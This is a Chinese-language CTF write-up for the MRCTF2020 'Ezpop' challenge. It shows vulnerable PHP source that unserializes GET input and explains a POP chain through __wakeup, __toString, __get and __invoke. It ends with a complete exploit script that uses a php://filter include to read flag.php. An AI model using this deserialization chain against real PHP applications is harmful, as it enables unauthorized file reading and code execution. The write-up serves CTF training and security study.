Buuoj|[MRCTF2020]Ezpop

0x00 基本知识

1.PHP反序列化代码审计,POP链寻找

2.__wakeup绕过(CVE-2016-7124)

0X01 题解

进入题目直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

反序列化,漏洞点很明显

1
2
3
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}

开始寻找pop链

Modifier类中有一个include文件包含,且参数可以通过控制反序列化来控制,考虑可以用这个结合伪协议来代码读取

1
2
3
4
5
6
7
8
9
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

利用__invoke魔术方法来执行文件包含,所以需要找一个可控的动态调用,在Test类中可以找到

1
2
3
4
5
6
7
8
9
10
11
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

当使用私有属性或不存在的属性时,__get魔术方法将被调用,所以还需要考虑如何调用不存在的属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

可以利用Show类中的toString方法,将str赋值为Test对象,调用不存在的属性source时就可触发__get方法

至于触发__toString方法,则可以考虑用Show对象自身的___wakeup方法中的preg_match函数来触发

编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class Modifier {
protected $var;
public function __construct(){
$this->var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}


$a = new Show();
$a->source = new Show();
$a->source->str = new Test();

echo urlencode(serialize($a));